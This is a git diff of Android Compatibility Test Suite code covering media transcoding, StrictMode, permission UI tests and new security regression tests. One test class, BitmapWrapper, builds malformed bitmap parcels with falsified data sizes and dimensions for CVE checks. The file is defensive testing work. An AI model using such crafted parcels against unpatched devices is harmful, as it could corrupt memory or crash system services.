@@ -358,7 +358,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
// Tests transcoding to a uri in internal cache folder and expects success.
public void testTranscodingToCacheDir() throws Exception {
- if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+ if (shouldSkip()) {
return;
}
// Create a file Uri: file:///data/user/0/android.media.cts/cache/temp.mp4
@@ -372,7 +372,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
// Tests transcoding to a uri in internal files directory and expects success.
public void testTranscodingToInternalFilesDir() throws Exception {
- if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+ if (shouldSkip()) {
return;
}
// Create a file Uri: file:///data/user/0/android.media.cts/files/temp.mp4
@@ -383,6 +383,14 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
TranscodingSession.RESULT_SUCCESS);
}
+ public void testHevcTranscoding720PVideo30FramesWithoutAudio() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
+ transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_720p_30Frames,
+ "Video_HEVC_720p_30Frames.mp4"), false /* testFileDescriptor */);
+ }
+
public void testAvcTranscoding1080PVideo30FramesWithoutAudio() throws Exception {
if (shouldSkip()) {
return;
@@ -566,7 +574,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
}
public void testCancelTranscoding() throws Exception {
- if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+ if (shouldSkip()) {
return;
}
Log.d(TAG, "Starting: testCancelTranscoding");
@@ -657,7 +665,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
}*/
public void testTranscodingProgressUpdate() throws Exception {
- if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+ if (shouldSkip()) {
return;
}
Log.d(TAG, "Starting: testTranscodingProgressUpdate");
@@ -709,7 +717,7 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
}
public void testAddingClientUids() throws Exception {
- if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+ if (shouldSkip()) {
return;
}
Log.d(TAG, "Starting: testTranscodingProgressUpdate");
@@ -786,27 +794,6 @@ public class MediaTranscodingManagerTest extends AndroidTestCase {
return videoFormat;
}
- private boolean isVideoTranscodingSupported(Uri fileUri) throws IOException {
- MediaFormat sourceFormat = getVideoTrackFormat(fileUri);
- if (sourceFormat != null) {
- // Since destination format is not available, we assume width, height and
- // frame rate same as source format, and mime as AVC for destination format.
- MediaFormat destinationFormat = new MediaFormat();
- destinationFormat.setString(MediaFormat.KEY_MIME, MIME_TYPE);
- destinationFormat.setInteger(MediaFormat.KEY_WIDTH,
- sourceFormat.getInteger(MediaFormat.KEY_WIDTH));
- destinationFormat.setInteger(MediaFormat.KEY_HEIGHT,
- sourceFormat.getInteger(MediaFormat.KEY_HEIGHT));
- if (sourceFormat.containsKey(MediaFormat.KEY_FRAME_RATE)) {
- destinationFormat.setInteger(MediaFormat.KEY_FRAME_RATE,
- sourceFormat.getInteger(MediaFormat.KEY_FRAME_RATE));
- }
- return isFormatSupported(sourceFormat, false)
- && isFormatSupported(destinationFormat, true);
- }
- return false;
- }
-
private boolean isFormatSupported(MediaFormat format, boolean isEncoder) {
String mime = format.getString(MediaFormat.KEY_MIME);
MediaCodec codec = null;
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index 0b5ed0d56f0..54caf6b47b8 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -77,6 +77,7 @@ import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileDescriptor;
import java.io.FileInputStream;
@@ -147,6 +148,63 @@ public class StrictModeTest {
}
@Test
+ public void testThreadBuilder_detectUnbufferedIo() throws Exception {
+ StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
+ .penaltyLog()
+ .detectUnbufferedIo()
+ .build();
+ StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder(policy).build());
+
+ final File test = File.createTempFile("foo", "bar");
+ inspectViolation(
+ () -> {
+ writeUnbuffered(test);
+ },
+ info -> {
+ assertThat(info.getViolationDetails()).isNull();
+ assertThat(info.getStackTrace()).contains("UnbufferedIoViolation");
+ });
+ }
+
+ @Test
+ public void testThreadBuilder_permitUnbufferedIo() throws Exception {
+ StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
+ .penaltyLog()
+ .permitUnbufferedIo()
+ .build();
+ StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder(policy).build());
+
+ final File test = File.createTempFile("foo", "bar");
+ inspectViolation(
+ () -> {
+ writeUnbuffered(test);
+ },
+ info -> {
+ assertThat(info).isNull();
+ });
+ }
+
+ private void writeUnbuffered(File file) throws Exception {
+ if (file.exists()) {
+ file.delete();
+ }
+
+ try (BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(file))) {
+ for (int i = 0; i < 11; i++) {
+ out.write(1);
+ out.write(2);
+ out.write(3);
+ out.write(4);
+ out.flush();
+ }
+ } finally {
+ if (file.exists()) {
+ file.delete();
+ }
+ }
+ }
+
+ @Test
public void testUnclosedCloseable() throws Exception {
//clean before test
System.gc();
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 5ff702fb325..84470cd870d 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -5638,6 +5638,10 @@
<!-- Allows input events to be monitored. Very dangerous! @hide -->
<permission android:name="android.permission.MONITOR_INPUT"
android:protectionLevel="signature|recents" />
+ <!-- Allows the use of FLAG_SLIPPERY, which permits touch events to slip from the current
+ window to the window where the touch currently is on top of. @hide -->
+ <permission android:name="android.permission.ALLOW_SLIPPERY_TOUCHES"
+ android:protectionLevel="signature|recents" />
<!-- Allows the caller to change the associations between input devices and displays.
Very dangerous! @hide -->
<permission android:name="android.permission.ASSOCIATE_INPUT_DEVICE_TO_DISPLAY"
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 901cc3504ac..49646f4fe18 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -158,6 +158,10 @@ abstract class BasePermissionTest {
waitForIdle()
}
+ protected fun clickPermissionControllerUi(selector: BySelector, timeoutMillis: Long = 20_000) {
+ click(selector.pkg(context.packageManager.permissionControllerPackageName), timeoutMillis)
+ }
+
protected fun pressBack() {
uiDevice.pressBack()
waitForIdle()
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 8f701f3cc36..ece58d93bee 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -74,6 +74,8 @@ abstract class BaseUsePermissionTest : BasePermissionTest() {
"com.android.permissioncontroller:" +
"id/permission_no_upgrade_and_dont_ask_again_button"
+ const val ALLOW_ALWAYS_RADIO_BUTTON =
+ "com.android.permissioncontroller:id/allow_always_radio_button"
const val ALLOW_RADIO_BUTTON = "com.android.permissioncontroller:id/allow_radio_button"
const val ALLOW_FOREGROUND_RADIO_BUTTON =
"com.android.permissioncontroller:id/allow_foreground_only_radio_button"
@@ -126,6 +128,8 @@ abstract class BaseUsePermissionTest : BasePermissionTest() {
to "@android:string/permgrouplab_location",
android.Manifest.permission.ACCESS_COARSE_LOCATION
to "@android:string/permgrouplab_location",
+ android.Manifest.permission.ACCESS_BACKGROUND_LOCATION
+ to "@android:string/permgrouplab_location",
// Phone
android.Manifest.permission.READ_PHONE_STATE
to "@android:string/permgrouplab_phone",
@@ -445,7 +449,7 @@ abstract class BaseUsePermissionTest : BasePermissionTest() {
if (isWatch) {
click(By.text(permissionLabel), 40_000)
} else {
- click(By.text(permissionLabel))
+ clickPermissionControllerUi(By.text(permissionLabel))
}
val wasGranted = if (isAutomotive) {
@@ -508,6 +512,8 @@ abstract class BaseUsePermissionTest : BasePermissionTest() {
PermissionState.ALLOWED ->
if (showsForegroundOnlyButton(permission)) {
By.res(ALLOW_FOREGROUND_RADIO_BUTTON)
+ } else if (showsAlwaysButton(permission)) {
+ By.res(ALLOW_ALWAYS_RADIO_BUTTON)
} else if (isMediaStorageButton(permission, targetSdk)) {
// Uses "allow_foreground_only_radio_button" as id
byTextRes(R.string.allow_media_storage)
@@ -577,6 +583,12 @@ abstract class BaseUsePermissionTest : BasePermissionTest() {
else -> false
}
+ private fun showsAlwaysButton(permission: String): Boolean =
+ when (permission) {
+ android.Manifest.permission.ACCESS_BACKGROUND_LOCATION -> true
+ else -> false
+ }
+
private fun isMediaStorageButton(permission: String, targetSdk: Int): Boolean =
if (isTv || isWatch) {
false
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
index 8daa5506fc7..0a2c373d2f8 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
@@ -16,7 +16,10 @@
package android.permission3.cts
+import android.content.pm.PackageManager
import androidx.test.filters.FlakyTest
+import com.android.compatibility.common.util.SystemUtil
+import org.junit.Assert
import org.junit.Assume
import org.junit.Before
import org.junit.Test
@@ -297,6 +300,34 @@ class PermissionTest23 : BaseUsePermissionTest() {
requestAppPermissionsAndAssertResult(INVALID_PERMISSION to false) {}
}
+ @Test
+ fun testAskButtonSetsFlags() {
+ Assume.assumeFalse("other form factors might not support the ask button",
+ isTv || isAutomotive || isWatch)
+
+ grantAppPermissions(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION, targetSdk = 23)
+ assertAppHasPermission(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION, true)
+ assertAppHasPermission(android.Manifest.permission.ACCESS_FINE_LOCATION, true)
+ assertAppHasPermission(android.Manifest.permission.ACCESS_COARSE_LOCATION, true)
+
+ revokeAppPermissions(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION, targetSdk = 23)
+ SystemUtil.runWithShellPermissionIdentity {
+ val perms = listOf(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION,
+ android.Manifest.permission.ACCESS_FINE_LOCATION,
+ android.Manifest.permission.ACCESS_COARSE_LOCATION)
+ for (perm in perms) {
+ var flags = packageManager.getPermissionFlags(perm, APP_PACKAGE_NAME, context.user)
+ Assert.assertEquals("USER_SET should not be set for $perm", 0,
+ flags and PackageManager.FLAG_PERMISSION_USER_SET)
+ Assert.assertEquals("USER_FIXED should not be set for $perm", 0,
+ flags and PackageManager.FLAG_PERMISSION_USER_FIXED)
+ Assert.assertEquals("ONE_TIME should be set for $perm",
+ PackageManager.FLAG_PERMISSION_ONE_TIME,
+ flags and PackageManager.FLAG_PERMISSION_ONE_TIME)
+ }
+ }
+ }
+
private fun denyPermissionRequestWithPrejudice() {
if (isTv || isWatch) {
clickPermissionRequestDontAskAgainButton()
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 53d8f4ea4e5..b82b188f2b1 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -33,6 +33,7 @@ android_test {
"compatibility-common-util-devicesidelib",
"guava",
"platform-test-annotations",
+ "sts-device-util",
"hamcrest-library",
],
libs: [
@@ -60,6 +61,7 @@ android_test {
"src/**/*.java",
"src/**/*.kt",
"src/android/security/cts/activity/ISecureRandomService.aidl",
+ "aidl/android/security/cts/IBitmapService.aidl",
"aidl/android/security/cts/IIsolatedService.aidl",
"aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl",
],
@@ -72,6 +74,9 @@ android_test {
"sts",
],
certificate: ":security_cts_test_certificate",
+ data: [
+ ":RolePermissionOverrideTestApp",
+ ],
}
android_test_helper_app {
@@ -84,3 +89,8 @@ android_app_certificate {
name: "security_cts_test_certificate",
certificate: "security_cts_test_cert",
}
+
+android_test_helper_app {
+ name: "RolePermissionOverrideTestApp",
+ manifest: "testdata/rolepermissionoverridetestapp.xml",
+}
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index f8402ec4c11..e43d6aa0750 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -27,6 +27,7 @@
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
<!-- For FileIntegrityManager -->
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
@@ -47,6 +48,10 @@
<service android:name="android.security.cts.activity.SecureRandomService"
android:process=":secureRandom"/>
+
+ <service android:name="android.security.cts.BitmapService"
+ android:process=":bitmap_service" />
+
<activity android:name="android.security.cts.MotionEventTestActivity"
android:label="Test MotionEvent"
android:exported="true">
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index 6e0c8bc4f69..53a9a266b0b 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -44,6 +44,15 @@
value="pm uninstall --user 0 android.security.cts" />
</target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/cts/security" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="cleanup" value="true" />
+ <option name="push" value="RolePermissionOverrideTestApp.apk->/data/local/tmp/cts/security/RolePermissionOverrideTestApp.apk" />
+ </target_preparer>
+
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.security.cts" />
<option name="runtime-hint" value="1h40m18s" />
diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
new file mode 100644
index 00000000000..b9694c32af7
--- /dev/null
+++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+parcelable BitmapWrapper;
+
+interface IBitmapService {
+ int getAllocationSize(in BitmapWrapper bitmap);
+ boolean didReceiveBitmap(in BitmapWrapper bitmap);
+ boolean ping();
+}
diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java
new file mode 100644
index 00000000000..c532e05e906
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapService.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import androidx.annotation.Nullable;
+
+public class BitmapService extends Service {
+
+ private final IBitmapService.Stub mBinder = new IBitmapService.Stub() {
+ @Override
+ public int getAllocationSize(BitmapWrapper wrapper) {
+ return wrapper.getBitmap().getAllocationByteCount();
+ }
+
+ @Override
+ public boolean didReceiveBitmap(BitmapWrapper wrapper) {
+ return true;
+ }
+
+
+ @Override
+ public boolean ping() {
+ return true;
+ }
+ };
+
+ @Nullable
+ @Override
+ public IBinder onBind(Intent intent) {
+ return mBinder;
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 40cb1398e97..5be9098612a 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -16,16 +16,88 @@
package android.security.cts;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
import android.graphics.Bitmap;
+import android.os.BadParcelableException;
+import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.google.common.util.concurrent.AbstractFuture;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
@RunWith(AndroidJUnit4.class)
public class BitmapTest {
+
+ private Instrumentation mInstrumentation;
+ private PeerConnection mRemoteConnection;
+ private IBitmapService mRemote;
+
+ public static class PeerConnection extends AbstractFuture<IBitmapService>
+ implements ServiceConnection {
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ set(IBitmapService.Stub.asInterface(service));
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ }
+
+ @Override
+ public IBitmapService get() throws InterruptedException, ExecutionException {
+ try {
+ return get(5, TimeUnit.SECONDS);
+ } catch (TimeoutException e) {
+ throw new RuntimeException(e);
+ }
+ }
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ }
+
+ @After
+ public void tearDown() {
+ if (mRemoteConnection != null) {
+ final Context context = mInstrumentation.getContext();
+ context.unbindService(mRemoteConnection);
+ mRemote = null;
+ mRemoteConnection = null;
+ }
+ }
+
+ IBitmapService getRemoteService() throws ExecutionException, InterruptedException {
+ if (mRemote == null) {
+ final Context context = mInstrumentation.getContext();
+ Intent intent = new Intent();
+ intent.setComponent(new ComponentName(
+ "android.security.cts", "android.security.cts.BitmapService"));
+ mRemoteConnection = new PeerConnection();
+ context.bindService(intent, mRemoteConnection,
+ Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+ mRemote = mRemoteConnection.get();
+ }
+ return mRemote;
+ }
+
/**
* Test Bitmap.createBitmap properly throws OOME on large inputs.
*
@@ -39,4 +111,102 @@ public class BitmapTest {
// which might be passed to createBitmap from a Java decoder.
Bitmap.createBitmap(65535, 65535, Bitmap.Config.ARGB_8888);
}
+
+ @Test
+ @AsbSecurityTest(cveBugId = 213169612)
+ public void test_inplace_213169612() throws Exception {
+ IBitmapService remote = getRemoteService();
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ BitmapWrapper wrapper = new BitmapWrapper(
+ Bitmap.createBitmap(2, 4, Bitmap.Config.ARGB_8888));
+ final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+ int allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to 500KiB; larger than the actual size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, 500 * 1024);
+ allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to 2 bytes; smaller than the actual size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, 2);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Keep the blob size accurate, but change computed allocation size to be too large
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.Height, 10_000)
+ .replace(BitmapWrapper.Field.RowBytes, 50_000);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 213169612)
+ public void test_ashmem_213169612() throws Exception {
+ IBitmapService remote = getRemoteService();
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ BitmapWrapper wrapper = new BitmapWrapper(
+ Bitmap.createBitmap(1000, 1000, Bitmap.Config.ARGB_8888)
+ .createAshmemBitmap());
+ final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+ int allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to be larger than the initial size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, expectedAllocationSize * 2);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to 2 bytes; smaller than the actual size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, 2);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Keep the ashmem size accurate, but change computed allocation size to be too large
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.Height, 10_000)
+ .replace(BitmapWrapper.Field.RowBytes, 50_000);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Keep the ashmem size accurate, but change computed allocation size to be smaller
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.Height, 100);
+ allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/BitmapWrapper.java b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
new file mode 100644
index 00000000000..dbcf4989354
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.graphics.Bitmap;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.util.ArrayMap;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Assert;
+
+public class BitmapWrapper implements Parcelable {
+ enum Field {
+ DataSize,
+ Height,
+ RowBytes,
+ }
+
+ private final Bitmap mBitmap;
+ private final ArrayMap<Field, Integer> mReplaceFields = new ArrayMap<>();
+
+ public BitmapWrapper(Bitmap bitmap) {
+ mBitmap = bitmap;
+ }
+
+ private BitmapWrapper(Parcel in) {
+ mBitmap = Bitmap.CREATOR.createFromParcel(in);
+ }
+
+ public Bitmap getBitmap() {
+ return mBitmap;
+ }
+
+ public BitmapWrapper reset() {
+ mReplaceFields.clear();
+ return this;
+ }
+
+ public BitmapWrapper replace(Field field, int newValue) {
+ mReplaceFields.put(field, newValue);
+ return this;
+ }
+
+ @Override
+ public int describeContents() {
+ return mBitmap.describeContents();
+ }
+
+ @Override
+ public void writeToParcel(@NonNull Parcel dest, int flags) {
+ final int before = dest.dataPosition();
+ mBitmap.writeToParcel(dest, flags);
+ final int oldEnd = dest.dataPosition();
+ if (!mReplaceFields.isEmpty()) {
+ dest.setDataPosition(before
+ + 4 /* immutable */
+ + 4 /* colortype */
+ + 4 /* alpha type */);
+ // Skip sizeof colorspace
+ int colorSpaceLen = dest.readInt();
+ dest.setDataPosition(dest.dataPosition() + colorSpaceLen);
+ Assert.assertEquals(mBitmap.getWidth(), dest.readInt());
+ Assert.assertEquals(mBitmap.getHeight(), dest.readInt());
+ if (mReplaceFields.containsKey(Field.Height)) {
+ dest.setDataPosition(dest.dataPosition() - 4);
+ dest.writeInt(mReplaceFields.get(Field.Height));
+ }
+ Assert.assertEquals(mBitmap.getRowBytes(), dest.readInt());
+ if (mReplaceFields.containsKey(Field.RowBytes)) {
+ dest.setDataPosition(dest.dataPosition() - 4);
+ dest.writeInt(mReplaceFields.get(Field.RowBytes));
+ }
+ Assert.assertEquals(mBitmap.getDensity(), dest.readInt());
+ int type = dest.readInt();
+ if (type == 0) { // in-place
+ if (mReplaceFields.containsKey(Field.DataSize)) {
+ int dataSize = mReplaceFields.get(Field.DataSize);
+ dest.writeInt(dataSize);
+ int newEnd = dest.dataPosition() + dataSize;
+ dest.setDataSize(newEnd);
+ dest.setDataPosition(newEnd);
+ } else {
+ int skip = dest.readInt();
+ dest.setDataPosition(dest.dataPosition() + skip);
+ }
+ } else if (type == 1) { // ashmem
+ if (mReplaceFields.containsKey(Field.DataSize)) {
+ int dataSize = mReplaceFields.get(Field.DataSize);
+ dest.writeInt(dataSize);
+ }
+ dest.setDataPosition(oldEnd);
+ } else {
+ Assert.fail("Unknown type " + type);
+ }
+ }
+ }
+
+ public static final Parcelable.Creator<BitmapWrapper> CREATOR =
+ new Parcelable.Creator<BitmapWrapper>() {
+ public BitmapWrapper createFromParcel(Parcel in) {
+ return new BitmapWrapper(in);
+ }
+
+ public BitmapWrapper[] newArray(int size) {
+ return new BitmapWrapper[size];
+ }
+ };
+
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
new file mode 100644
index 00000000000..855ad37788b
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Instrumentation;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0922 {
+
+ private Instrumentation mInstrumentation;
+
+ @Before
+ public void setUp() {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ }
+
+ /**
+ * b/195630721
+ */
+ @AsbSecurityTest(cveBugId = 195630721)
+ @Test
+ public void testPocCVE_2021_0922() throws Exception {
+ String packageName = "com.android.managedprovisioning";
+ try {
+ PackageInfo packageInfo = mInstrumentation.getContext().getPackageManager()
+ .getPackageInfo(packageName, PackageManager.GET_PERMISSIONS);
+ boolean isPermissionPresent = false;
+ for (int i = 0; i < packageInfo.requestedPermissions.length; ++i) {
+ if ((packageInfo.requestedPermissionsFlags[i]
+ & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0) {
+ String permission = packageInfo.requestedPermissions[i];
+ if (permission.equals(android.Manifest.permission.MANAGE_APP_OPS_MODES)) {
+ isPermissionPresent = true;
+ break;
+ }
+ }
+ }
+ assertTrue(isPermissionPresent);
+ } catch (PackageManager.NameNotFoundException e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0934.java b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
new file mode 100644
index 00000000000..ab4c71b8500
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
